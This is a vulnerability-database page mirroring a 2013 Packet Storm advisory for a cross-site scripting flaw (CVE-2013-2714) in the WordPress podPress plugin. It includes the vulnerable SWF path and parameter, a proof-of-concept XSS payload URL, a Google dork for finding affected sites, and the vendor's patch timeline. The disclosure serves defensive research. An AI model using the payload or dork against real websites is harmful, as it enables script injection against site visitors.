Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
packetstormHipPACKETSTORM:121011
HistoryMar 29, 2013 - 12:00 a.m.

WordPress podPress 8.8.10.13 Cross Site Scripting

2013-03-2900:00:00
hip
packetstormsecurity.com
46

EPSS

0.001

Percentile

44.7%

JSON
`# Exploit Title: WordPress podPress Plugin XSS in SWF  
# Release Date: 28/03/13  
# Author: hip [Insight-Labs]  
# Contact: [email protected] | Website: http://insight-labs.org  
# Software Link: http://downloads.wordpress.org/plugin/podpress.8.8.10.17.zip  
# Tested on: XPsp3  
# Affected version: 8.8.10.13 before  
# Google Dork: inurl:/wp-content/plugins/podpress/  
# REF:CVE-2013-2714  
Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā–  
# Introduction:  
podPress adds a lot of features designed to make WordPress the ideal platform for hosting a podcast.  
Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—-  
# XSS Ā– Proof Of Concept:  
vulnerable path:  
/wp-content/plugins/podpress/players/1pixelout/1pixelout_player.swf  
vulnerabile parameter:playerID  
POC:  
/wp-content/plugins/podpress/players/1pixelout/1pixelout_player.swf?playerID=\"))}catch(e){alert(/xss/)}//  
Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—-  
Ā—Ā—Ā—Ā—  
Patch:  
Ā—Ā—Ā—Ā—  
Ā– Vendor was notified on the 25/02/2013  
Ā– Vendor released version 8.8.10.17 on 19/03/2013 Fixed the bug  
Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—Ā—-  
`

Related

wpvulndb 1
cve 1
cvelist 1
prion 1
patchstack 1
nvd 1
securityvulns 2
exploitdb 1
wpvulndb
wpvulndb
podPress 8.8.10.13 - players/1pixelout/1pixelout_player.swf playerID Parameter XSS
2014-08-01 10:58:59
cve
cve
CVE-2013-2714
2020-01-28 20:15:11
cvelist
cvelist
CVE-2013-2714
2020-01-28 19:30:31
prion
prion
Cross site scripting
2020-01-28 20:15:00
patchstack
patchstack
WordPress PodPress Plugin - Cross Site Scripting
2013-03-11 00:00:00
nvd
nvd
CVE-2013-2714
2020-01-28 20:15:11
securityvulns
securityvulns
WordPress podPress Plugin XSS in SWF
2013-05-06 00:00:00
Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
2013-05-06 00:00:00
exploitdb
exploitdb
WordPress Plugin podPress - 'playerID' Cross-Site Scripting
2013-03-11 00:00:00

EPSS

0.001

Percentile

44.7%

JSON
Related for PACKETSTORM:121011
wpvulndb1cve1cvelist1prion1patchstack1nvd1securityvulns2exploitdb1